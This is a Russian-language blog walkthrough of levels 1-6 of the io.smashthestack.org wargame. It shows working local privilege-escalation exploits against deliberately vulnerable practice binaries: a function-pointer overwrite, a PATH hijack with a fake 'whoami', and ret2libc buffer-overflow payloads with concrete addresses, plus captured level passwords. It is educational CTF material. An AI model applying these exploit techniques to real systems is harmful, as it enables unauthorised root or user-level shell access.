io.smashthestack.org подробное прохождение. Часть 1-я (1-6 уровень)

Итак целью этого топика я ставлю рассказать о том, как я проходил уровни в wargame’е чем следовательно заинтересовать читателей в изучении такой интересной темы как анализ исполняемых файлов Linux’а и эксплуатация уязвимостей в них.

ВВЕДЕНИЕ.

исходные данные: оф. сайт http://io.smashthestack.org, ssh доступ

ssh level1@io.smashthestack.org
password: level1

изучаем боевой сервер: попав на первый уровень в домашней директории мы видим много документации на разных языках. (команда ls -la естественно). На каждом уровне есть файл tags куда можно писать всё что душе угодно, а затем читать и свою и чужие записи на сайте http://io.smashthestack.org/ в разделе Tags. Ключ к следующему уровню лежит в домашней директории следующего пользователя. Все задания лежат в папке /levels/. Все бинарники имеют суидный бит, что даст нам возможность проэксплуатировав уязвимость получить шелл с правами следующего уровня (в этот момент мы сможем прочитать ключ к следующему уровню). Итак приступим:

Level1

в директории /levels/ видим исполняемый файл level01, ну так выполним его он же исполняемый. Нас просят ввести пароль:

level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter: 123

давайте узнаем этот самый пароль… конечно можно залезть на игровой сервер с помощью того же gftp или WinSCP скачать файл и загрузить его в IDA или OllyDBG и посмотреть, какой пароль они хотят, но настоящие джедаи так не делают (а ведь ты настоящий джедай?). Организаторы нам любезно предоставили доступ к GDB (Gnu Linux Debagger) это ОЧЕНЬ удобный и мощный инструмент не смотря на то, что консольный (по началу мне самому было дико не удобно им пользоваться, но сейчас я жить без него не могу). Поэтому смело воспользуемся им:

gdb level01

для того, что бы дизассемблировать какую либо функцию необходимо сделать так:

disas main

так мы дизассемблируем функцию main и что мы видим:
(gdb) disas main
Dump of assembler code for function main:
0x08048080 <+0>: push $0x8049128
0x08048085 <+5>: call 0x804810f <puts>
0x0804808a <+10>: call 0x804809f <fscanf>
0x0804808f <+15>: cmp $0x10f,%eax
0x08048094 <+20>: je 0x80480dc <YouWin>
0x0804809a <+26>: call 0x8048103 <exit>
End of assembler dump.

Видим как по адресу 0x0804808f  идёт сравнение регистра eax с числом 0x10f рискнём сходу предположить что число 0x10f и есть наш пасс, который нужен проге. Хватаем листок и карандаш и начинаем переводить число из шестнадцатиричной СС в десятеричную. Ну а я тем временем сделаю это в питоне: int(«10f»,16). Пробуем это как пасс и ура!

level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter: 271
Congrats you found it, now read the password for level2 from /home/level2/.pass
sh-4.2$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1002(level2),1001(level1),1029(nosu)
sh-4.2$ cat /home/level2/.pass
XNWFtWKWHhaaXoKI
sh-4.2$

Вынимание! пароли время от времени меняются, так что проходить уровни надо самому.

Так я прошёл этот уровень. P.S. можно было дизассемблировать и таким способом: objdump -D level01

Level2 

Итак, мы на 2-м уровне. Посмотрим исходный код:

level2@io:/levels$ cat level02.c
void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf(«WIN!\n»);
system(«/bin/sh»);
exit(0);
}
int main(int argc, char **argv)
{
puts(«source code is available in level02.c\n»);
if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}

программа примет от нас 2 числа и если произойдёт исключение SIGFPE, то вызовится нужная нам функция.
Давайте разберёмся как спровоцировать это исключение, есть 2 варианта либо поделить на 0, либо при делении SIGFPE вызывает не только равный нулю делитель — на некоторых платформах (включая x86), целое деление INT_MIN, самого малого (отрицательного) целого числа, на (−1) не может быть выполнено, поскольку положительное число с этим модулем не представимо (при INT_MIN = (−2147483648), INT_MAX = 2147483647), короче говоря, −2147483648/-1=2147483648, а такого числа не может быть, т.к. INT_MAX = 2147483647.

level2@io:/levels$ ./level02 -2147483648 -1
source code is available in level02.c
WIN!
sh-4.2$ cat /home/level3/.pass
OlhCmdZKbuzqngfz
sh-4.2$

Level3
Итак, мы на 3-м уровне. Посмотрим исходный код:

level3@io:/levels$ cat level03.c
void good()
{
puts(«Win.»);
execl(«/bin/sh», «sh», NULL);
}
void bad()
{
printf(«I’m so sorry, you’re at %p and you want to be at %p\n», bad, good);
}
int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];
if(argc != 2 || strlen(argv[1]) < 4)
return 0;
memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) — 4);
printf(«This is exciting we’re going to %p\n», functionpointer);
functionpointer();
return 0;
}

Тут ни так все сложно, void (*functionpointer)(void) = bad; обратите внимание, что эта строка в самом верху функции main, она определяет указатель на функцию равным bad, т.е. вызов functionpointer эквивалентен вызову bad, но над нужно good. Как я уже сказал, обратите внимание, что определение происходит в верху функции main, по факту код объявляет локальную переменную функции и пишет туда адрес. Посмотрите этот документ, слайд 2-й (https://github.com/kablaa/CTF-Workshop/blob/master/x86Assembly.pdf), он наглядно показывает, как в стеке расположена наша functionpointer. Чуть ниже видим memcpy(buffer, argv[1], strlen(argv[1])); обычное переполнение буфера buffer, т.е. мы можем перезатерать стек, а там указатель на функцию bad, т.е. нам нужно будет его перезатереть на функцию good. Надеюсь я смог объяснить это своим корявым языком :). Запускаем отладчик gdb и постепенно ему начинаем передавать все больший и больший буфер.

(gdb) r $(python -c «print ‘A’*55»)
Starting program: /levels/level03 $(python -c «print ‘A’*55»)
This is exciting we’re going to 0x80484a4
I’m so sorry, you’re at 0x80484a4 and you want to be at 0x8048474
[Inferior 1 (process 14470) exited normally]

(gdb) r $(python -c «print ‘A’*79»)
Starting program: /levels/level03 $(python -c «print ‘A’*79»)
This is exciting we’re going to 0x8414141
Program received signal SIGSEGV, Segmentation fault.
0x08414141 in ?? ()

запускаем с помощью сокращения run (r) и аргумента, сформированного с помощью конструкции $(python -c «print ‘A’*55»). 55 букв А это мало, а вот 79 уже слишком много, обратите внимание, что мы перезатерли указатель на функцию bad, теперь он выглядит так: 0x8414141, ну чтож 76 букв А нам будет достаточно, каждая следующая будет перезатерать указатель. Теперь понятно что делать, либо перезатрем полностью адрес 0x80484a4 адресом 0x8048474, либо просто перезатрем младший байт a4 байтом 74 (кстати! 74 это на самом деле буква ‘t’), так что можно сделать это задание несколькими путями:

level3@io:/levels$ ./level03 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt
This is exciting we’re going to 0x8048474
Win.
sh-4.2$ exit

level3@io:/levels$ ./level03 $(python -c print»‘A’*76+’\x74\x84\x04\x08′»)
This is exciting we’re going to 0x8048474
Win.
sh-4.2$ exit

level3@io:/levels$ ./level03 $(python -c print»‘A’*76+’\x74′»)
This is exciting we’re going to 0x8048474
Win.
sh-4.2$ cat /home/level4/.pass
7WhHa5HWMNRAYl9T

Level4
Итак, мы на 4-ом уровне. Посмотрим исходный код:

int main() {
char username[1024];
FILE* f = popen(«whoami»,»r»);
fgets(username, sizeof(username), f);
printf(«Welcome %s», username);
return 0;
}

Тут всё достаточно тривиально, немного теории:
FILE *popen(const char *command, const char *type);
Функция popen() открывает процесс, создавая канал, производя fork и вызывая командную оболочку. Так как канал задается однонаправленным, аргумент type может указать только на режим чтения или записи, но не на оба одновременно.
Аргумент command — это указатель на С-строку, содержащую командную строку для оболочки. Эта команда передается /bin/sh с помощью флага -c . Интерпретация, если она необходима, выполняется самой оболочкой. Аргумент type — это указатель на C-строку, содержащую символ `r’ для чтения или `w’ для записи.
Т.е. эта конструкция popen(«whoami»,»r»); ВЫПОЛНИТ команду whoami и вернёт результат её исполнения. Соответственно вместо whoami, надо подсунуть наш исполняемый файл. Как вариант можно создать линк на наш исполняемый файл, но это не получится :(. Давайте вспомним как происходит поиск бинарника? Конечно же в PATH берутся все директории и в них ищется бинарник с таким именем, а PATH то мы можем изменить, тоесть удастся подсунуть свой исполняемый файл. Это и проделаем:

level4@io:/levels$ mkdir /tmp/riocool
level4@io:/levels$ cd /tmp/riocool
level4@io:/tmp/riocool$ nano whoami
level4@io:/tmp/riocool$ cat whoami
#!/usr/bin/python
import os
os.system(«/bin/sh»)
level4@io:/tmp/riocool$ chmod +x whoami
level4@io:/tmp/riocool$ echo $PATH
/usr/local/radare/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
level4@io:/tmp/riocool$ export PATH=/tmp/riocool
level4@io:/tmp/riocool$ /levels/level04
sh-4.2$ cat /home/level5/.pass
sh: cat: command not found
sh-4.2$ /bin/cat /home/level5/.pass
Welcome DNLM3Vu0mZfX0pDd

если кто не понял, почему в строке sh-4.2$ cat /home/level5/.pass я получил ошибку, что cat не найден, то всё просто, система пыталась найти утилиту cat в директории /tmp/riocool.

Level5
Итак, мы на 5-ом уровне. Посмотрим исходный код:

int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf(«%s\n», buf);
return 0;
}

Святая корова! да это же классическое переполнение буфера, принимается один аргумент и вне зависимости от длины он пишется в буфер размером 128 байт. Я не стану рассказывать как эксплуатируется эта уязвимость в классическом смысле (адрес возврата перезаписывается на начало шеллкода и шелл исполняется), я лучше расскажу как очень быстро эксплуатировать переполнение буфера техникой ret2lib безо всяких шеллкодов, которые еще надо найти или сгенерить, мало того надо ещё и убедиться, что стек исполняемый.

Техника ret2lib заключается в том, что за место адреса возврата можно написать адрес другой функции (например system) а аргумент ей передать через стек, мы ведь стек контролируем. Другими словами можно выполнить system(«/bin/sh») следующим способом:

AAAAAAAAAAAAAAAAAAABBBB

предположим, что буфер переполнится буквами А, там, где я написал ВВВВ это уже перезатираем адрес возврата, тогда system(«/bin/sh») вызовем следующим способом:

AAAAAAAAAAAAAAAAAAABBBBCCCCDDDD

где А — наш буфер, B — адрес функции system, C — адрес любой функции, например exit() или просто мусор, например 0x90909090, D — адрес строки «/bin/sh» в памяти

ну вот и всё, эксплуатация сводится всего к 3 шагам:

  1. Понять сколько А надо пихать, что бы буфер начал перезатерать адрес возврата
  2. Найти адрес функции system в памяти
  3. Найти адрес строки «/bin/sh» в памяти

Делается это следующим способом:

  1. С помощью msf или в ручную
  2. Под gdb запускаем бинарник и в момент исполнения смотрим адрес system так: info functions system, нас интересует только такого вида адрес: 0xb7eaac30  system
  3. Под gdb запускаем бинарник и в момент исполнения смотрим адрес сроки «/bin/sh» в функции execlp (эта строка там всегда есть) так: find &execlp,+99999999,»/bin/sh»

Дальше записываем адреса в установленном выше порядке и запускаем, это гораздо проще, чем искать рабочий шеллкод и молиться, что бы стек был исполняемым, искать где в памяти распологается начало буфера, молиться что бы не рандомизировался стек и разочароваться в конце, когда одно или несколько условий не выполнятся.

Непосредственно сама эксплуатация:

level5@io:/levels$ gdb level05
Reading symbols from /levels/level05…done.
(gdb) break main
Breakpoint 1 at 0x80483bd
(gdb) r $(python -c «print ‘A’*140+’BBBB'»)
Starting program: /levels/level05 $(python -c «print ‘A’*140+’BBBB'»)
Breakpoint 1, 0x080483bd in main ()
(gdb) info functions system
All functions matching regular expression «system»:
Non-debugging symbols:
0xb7eaac30 __libc_system
0xb7eaac30 system
0xb7f6d1d0 svcerr_systemerr
(gdb) find &execlp,+99999999,»/bin/sh»
0xb7fab194
warning: Unable to access target memory at 0xb7fd229c, halting search.
1 pattern found.
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

формируем эксплоит: ‘A’*140+’\x30\xac\xea\xb7’+’\x90\x90\x90\x90’+’\x94\xb1\xfa\xb7’ вот и всё, не так уж и сложно, зато часто применяется в реальных CTF.

level5@io:/levels$ ./level05 $(python -c «print ‘A’*140+’\x30\xac\xea\xb7’+’\x90\x90\x90\x90’+’\x94\xb1\xfa\xb7′»)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0�귐�����
sh-4.2$ cat /home/level6/.pass
fQ8W8YlSBJBWKV2R
sh-4.2$ exit

Level6
Итак, мы на 6-ом уровне. Посмотрим исходный код:

enum{
LANG_ENGLISH,
LANG_FRANCAIS,
LANG_DEUTSCH,
};
int language = LANG_ENGLISH;
struct UserRecord{
char name[40];
char password[32];
int id;
};
void greetuser(struct UserRecord user){
char greeting[64];
switch(language){
case LANG_ENGLISH:
strcpy(greeting, «Hi «); break;
case LANG_FRANCAIS:
strcpy(greeting, «Bienvenue «); break;
case LANG_DEUTSCH:
strcpy(greeting, «Willkommen «); break;
}
strcat(greeting, user.name);
printf(«%s\n», greeting);
}
int main(int argc, char **argv, char **env){
if(argc != 3) {
printf(«USAGE: %s [name] [password]\n», argv[0]);
return 1;
}
struct UserRecord user = {0};
strncpy(user.name, argv[1], sizeof(user.name));
strncpy(user.password, argv[2], sizeof(user.password));
char *envlang = getenv(«LANG»);
if(envlang)
if(!memcmp(envlang, «fr», 2))
language = LANG_FRANCAIS;
else if(!memcmp(envlang, «de», 2))
language = LANG_DEUTSCH;
greetuser(user);
}

Тут принимаются от пользователя 2 аргумента name и password,strncpy(user.name, argv[1], sizeof(user.name)); тут у нас не правильное копирование, надо на один символ меньше копировать, из-за этого перезатирается NULL байт и строки name и password конкотенируются. Затем в функции greetuser идет плохая попытка по приветствовать пользователя, к буферу «Hi » добавляется наша строка юзер+пароль, т.е. в сумме 3+32+40=75 байт пишутся в буфер 64 байта, НО! хоть и происходит переполнение на 11 байт, адрес возврата не перезаписывается, он расположен чуть дальше (хоть программа и падает). Но нам любезно предоставили выбрать язык и таким образом к юзер+пароль дописать «Willkommen » (в случае немецкого языка), в этом случае мы переполним на 19 байт, давайте посмотрим, хватит ли этого.

level6@io:/levels$ export LANG=de_DE.utf8
level6@io:/levels$ echo $LANG
de_DE.utf8

level6@io:/levels$ gdb level06
(gdb) b greetuser — ставим бряк на функции greetuser
(gdb) r $(python -c «print ‘A’*50+’ ‘+’B’*50») — запускаем программу она останавливается на функции greetuser
(gdb) disas — дизассемблируем функцию greetuser
Dump of assembler code for function greetuser:
0x0804851c <+0>: push %ebp
0x0804851d <+1>: mov %esp,%ebp
.
.
.
0x08048591 <+117>: leave
0x08048592 <+118>: ret
End of assembler dump.
Поставим бряк по адресу 0x08048592, что бы смотреть куда мы переходим, вместо валидного адреса возврата.
(gdb) b *0x08048592
(gdb) c
(gdb) x/20xw $esp — посмотрим что у нас в стеке
0xbffffbbc: 0x42424242 0x00424242 0x41414141 0x41414141
0xbffffbcc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbdc: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffffbec: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffbfc: 0x42424242 0x42424242 0x42424242 0x00000000

очень хорошо, мы перезатерли адрес возврата и следующий за ним адрес, но для приема ret2lib нам нужно 4*3=12 байт, посмотрим внимательно, после 0x42424242 0x00424242 идут тоже наши данные, ну и здорова, теперь допишем недостающий 3-й адрес в первую часть (name). В данный момент перед нами стоит задача выяснить по какому смещению находится адрес возврата (мы же от балды поставили 50 букв В) и 0xbffffbbc: 0x42424242 0x00424242 0x41414141 0x41414141 эти буквы А(а поверьте, как окажется это не первые по порядку буквы А), на место которых ляжет адрес строки ‘/bin/sh’ надеюсь вы ещё не забыли как мы делали ret2lib. Для точного определения смещений можно тыкаться вслепую, а можно воспользоваться чудесными скриптами из набора MSF это pattern_create.rb и pattern_offset.rb, первый генерирует случайную строку любой длины, а второй определяет по какому смещению произошла перезапись адреса возврата.

У меня (kali 2)скрипты распологаются тут: /usr/share/metasploit-framework/tools/exploit, а у себя ищите их так: find / -name pattern_create.rb

Сначала узнаем по какому смещению мы перезатираем адрес возврата, делаем это так.

  1. Генерируем строку:

    root@kali# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb 100

    получаем: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

  2. пихаем её в поле password и запускаем программу:

    (gdb) r $(python -c «print ‘A’*50+’ ‘+’Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'»)

    смотрим, что у нас на месте адреса возврата:

    (gdb) x/20xw $esp
    0xbffffb7c: 0x61413861 0x00624139 0x41414141 0x41414141
    0xbffffb8c: 0x41414141 0x41414141 0x41414141 0x41414141
    0xbffffb9c: 0x41414141 0x41414141 0x41414141 0x41306141
    0xbffffbac: 0x61413161 0x33614132 0x41346141 0x61413561
    0xbffffbbc: 0x37614136 0x41386141 0x62413961 0x00000000

    теперь ищем патерн 61413861 таким способом:

    root@kali# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 61413861
    [*] Exact match at offset 25

    ну вот и всё, по смещению 25 адрес возврата, теперь проделаем тот же трюк, только для поиска смещения, для адреса на ‘/bin/sh’

  3. Для поиска 2-го смещения будем использовать тот же патерн, который мы получили в предыдущем шаге:

    (gdb) r $(python -c «print ‘Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A’+’ ‘+’B’*50»)
    Starting program: /levels/level06 $(python -c «print ‘Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A’+’ ‘+’B’*50»)
    Willkommen Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2ABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
    Breakpoint 2, 0x08048592 in greetuser ()
    (gdb) x/20xw $esp
    0xbffffb7c: 0x42424242 0x00424242 0x61413161 0x33614132
    0xbffffb8c: 0x41346141 0x61413561 0x37614136 0x41386141
    0xbffffb9c: 0x62413961 0x31624130 0x41326241 0x42424242
    0xbffffbac: 0x42424242 0x42424242 0x42424242 0x42424242
    0xbffffbbc: 0x42424242 0x42424242 0x42424242 0x00000000
    root@kali# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 61413161
    [*] Exact match at offset 4

    вот и всё, второе смещение на 4

Настало время формировать шелкод, будет он выглядеть следующим образом:

‘AAAA’+’DDDD‘+’A’*40+’ ‘+’A’*25+’BBBB‘+’CCCC‘»

в памяти схематично он бы выглядел так:

(gdb) x/20xw $esp
0xbffffb7c: 0xBBBB 0xCCCC 0xDDDD 0x41414141

где, BBBB — адрес system, CCCC — мусор, DDDD — адрес строки ‘/bin/sh’

все эти адреса мы уже умеем получать, напомню:

(gdb) info functions system
All functions matching regular expression «system»:
Non-debugging symbols:
0xb7eaac30 __libc_system
0xb7eaac30 system
0xb7f6d1d0 svcerr_systemerr
(gdb) find &execlp,+99999999,»/bin/sh»
0xb7fab194
warning: Unable to access target memory at 0xb7fd229c, halting search.
1 pattern found.

Вот и всё, формируем окончательный эксплоит с адресами и запускаем его:

level6@io:/levels$ ./level06 $(python -c «print ‘AAAA’+’\x94\xb1\xfa\xb7’+’A’*40+’ ‘+’B’*25+’\x30\xac\xea\xb7’+’\x90\x90\x90\x90′»)
Willkommen AAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBB0�귐��
sh-4.2$ cat /home/level7/.pass
U3A6ZtaTub14VmwV
sh-4.2$ exit

Level7
Итак, мы на 7-ом уровне. Посмотрим исходный код:

 

3 Comments

 Add your comment
  1. Могу подкинуть тебе ссылочку для будущих тренировок:
    http://www.exploit-exercises.com/

  2. Максим Александрович, что вы обычно делаете, когда эксплоит отрабытывает под отладчиком, а без него ошибка сегментирования и автоматически не делается core dump?

    • Да, тоже с такой ситуацией встречался! Для начала нужно убедиться, что нормально происходит переход на шеллкод. Например, можно в начале шеллкода поставить бесконечный цикл (0xEB 0xFE). Тогда, если программа зависнет, а не рухнет, значит переход на шеллкод проходит нормально и дело скорее всего в его неправильной работе. Затем, таким же способом можно выяснить на какой инструкции шеллкода происходит segmentation fault. И подумать почему такое происходит… Дело может быть как в шеллкоде, так и во «внешней среде».
      Core dump вроде включить можно.

Leave a Comment

Your email address will not be published.

Лимит времени истёк. Пожалуйста, перезагрузите CAPTCHA.